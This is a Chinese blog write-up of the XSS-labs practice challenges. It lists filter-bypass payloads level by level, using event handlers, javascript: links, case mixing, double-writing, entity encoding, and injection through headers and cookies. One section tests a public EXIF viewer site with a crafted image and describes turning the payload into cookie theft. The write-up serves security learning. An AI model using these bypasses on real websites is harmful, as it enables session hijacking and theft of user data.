XSS-labs

本文详细讲述了在不同层级的XSS攻击尝试中,如何利用onmouseover事件、伪协议、实体编码以及ng-include指令绕过过滤,最终揭示了EXIFDataViewer中的存储型XSS漏洞。
摘要由CSDN通过智能技术生成

1.level 1

2.level 2

用<script>alert('1')</script> 试一试

对<>进行了过滤

用onmouseover来绕过

"οnmοuseοver=alert('1')<"

3.level 3

仍然对<>进行了过滤 闭合方式变成单引号

'οnmοuseοver=alert('1')<'

4.level 4

用onmouseover

"οnmοuseοver='alert(1)'<" 

onmouseover事件
onmouseover事件:指鼠标移动都某个指点的HTML标签上,会出现什么效果。
例如:
var p = document.getElementById("p")  /*获取id名字为p的标签*/
/* 给获取到的id添加事件 */
p.onmouseover = function (){
    alert("鼠标已经移动上来!");
}

 
 

5.level 5

发现对script进行了过滤

对onmouseover也进行了过滤

尝试用伪协议进行绕过

"><a href="javascript:alert:alert('1')" >click</a><"

6.level 6

对script仍然进行了过滤

尝试用伪协议发现对href也进行了过滤

尝试大小写绕过

"><a Href="javascript:alert:alert('1')" >click</a><"

绕过成功

7.level 7

查看源码后发现直接对script进行了删除

对onmouseover 的on直接进行了删除 

对伪协议的href也进行了删除

尝试双写script,href进行绕过(考虑到可能是删除了一次)

"><a hrhrefef="javascrscriptipt:alert:alert('1')" >click</a><"
绕过 成功

8.level 8

对script进行了过滤

大小写也无法绕过

尝试对S进行实体编码进行绕过

在线Html实体编码解码

java&#115;cript:alert:alert('1')

绕过成功

9.level 9

尝试输入一个合法链接来看一下进行了什么过滤

发现仍然是对script进行了过滤 

 对S进行实体编码尝试绕过

java&#115;cript:alert:alert('http://baidu.com')

绕过成功

10.level 10

发现页面没有任何能够输入的东西 猜测 是通过url

查看源码后发现 这里有三个name 三个value 尝试对每个进行输入尝试一下 看哪个value有回显

http://127.0.0.1/xss-labs/level10.php?t_sort=1

发现有回显

发现对<>进行了删除 

尝试不需要用<>括号的方式

click"type="button" οnclick="alert('1')"

绕过成功

11.level 11

发现对双引号进行了过滤

尝试抓包试一试

发现这个refer里面的内容和刚才源码里面的t_ref 里面value的内容一样 尝试对refer里面的内容进行修改来绕过

click"type="button" οnclick="alert('1')"

修改后绕过成功

12.level 12

t_ua 联想到http请求头部的user-agent 应该与上一题是一个类型

尝试抓包修改

click"type="button" οnclick="alert('1')"

修改后成功绕过

13.level 13

查看源码后发现可能与cookie信息有关 继续尝试抓包修改cookie的值来绕过

只修改user的内容即可 

click"type="button" οnclick="alert('1')"

即可绕过成功

14.level 14

这里原网站打不开了,我将后端的代码改成EXIF Data Viewer

同样也拥有xss漏洞

什么是exif

可交换图像文件格式,是专门为数码相机的照片设定的,可记录数码照片的属性信息和拍摄数据。

比如我们这里随便拿一张照片

右键,点击属性,点详细信息,这里有很多可修改的内容,比如我们修改标题为

'"<script>alert(1)</script>    这里的引号是为了闭合前面的信息
 

 因为有些网站可以读取exif 信息,当传入一张含有恶意信息的图片的时候,就可以触发payload

随便找一个网站,我这里找的是 EXIF Data Viewer

选择文件,将我们事先构造好的图片上传上去,就会有弹窗弹出了,说明我们的恶意代码被执行了,该网站存在这样一个漏洞

 如果我们将这个1 替换为cookie 的话,而且我们将这个图片传到某个论坛上面,那么别的用户点击你这张图的时候就会读取Exif 信息,将他们的cookie 发送到我们这里,那么这就变成了一个存储型xss漏洞了,所以危害比较大的,但是这里只是一个反射型的xss

15.level 15

查看源码后发现 src的值传到了ng-include:里面

尝试通过闭合来弹窗:"<script>alert('1')</script><"

发现"><被编码了

了解:ng-include

ng-include 指令用于包含外部的 HTML 文件。

包含的内容将作为指定元素的子节点。

ng-include 属性的值可以是一个表达式,返回一个文件名。

默认情况下,包含的文件需要包含在同一个域名下。

语法
< element  ng-include= "filename"  οnlοad= "expression"  autoscroll= "expression"  > < /element >
ng-include 指令作为元素使用:

< ng-include  src= "filename"  οnlοad= "expression"  autoscroll= "expression"  > < /ng-include >
所有的 HTML 元素都支持该指令。

参数值
值    描述
filename    文件名,可以使用表达式来返回文件名。
onload    可选, 文件载入后执行的表达式。
autoscroll    可选,包含的部分是否在指定视图上可滚动。

二、实例1,指定外部html文件

结论特别说明:
1.ng-include,如果单纯指定地址,必须要加引号
2.ng-include,加载外部html,script标签中的内容不执行,不能加载,如果需要控制器处理需要在主页中注册
3.ng-include,加载外部html中含有style标签样式可以识别
4.ng-inclue,记载外部html中的link标签可以加载

那么既然是可以直接引用html文件,那么我们直接引用一下第一关网址的html文件网址路径来试下

 http://127.0.0.1/xss-labs/level1.php?name=aini

'http://127.0.0.1/xss-labs/level1.php?name="><a href="javascript:alert(/1/)">xss'

16.level 16

对keyword进行赋值发现页面有回显

先用标签试一下能不能成功

<img src=1 οnerrοr=alert("aini")>

发现空格被实体编码

于是想用回车来替换空格 回车用url编码 还有其他的符号也用url编码

%0D%0A 

        <img%0D%0Asrc=1%0D%0Aοnerrοr=alert("1")>

17.level 17

我们提交的参数在<embed>标签的src属性中,这一关有两个参数:arg01、arg02,当我们发送的时候,发现他们是会互相拼接起来的,并且做了尖括号过滤,那么我们可以加入一个属性进去,生成恶意代码。<embed>标签就是引入一个swf文件【SWF格式是动画软件Flash的专用格式】到浏览器端,并且它的src属性值不需要闭合

        

?arg01=a&arg02= οnmοusemοve="alert(/xss/)"

?arg01= onclick&arg02=alert('xss')  //每一种方法的空格都很重要

18.level 18

和上一关方法一样


 

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值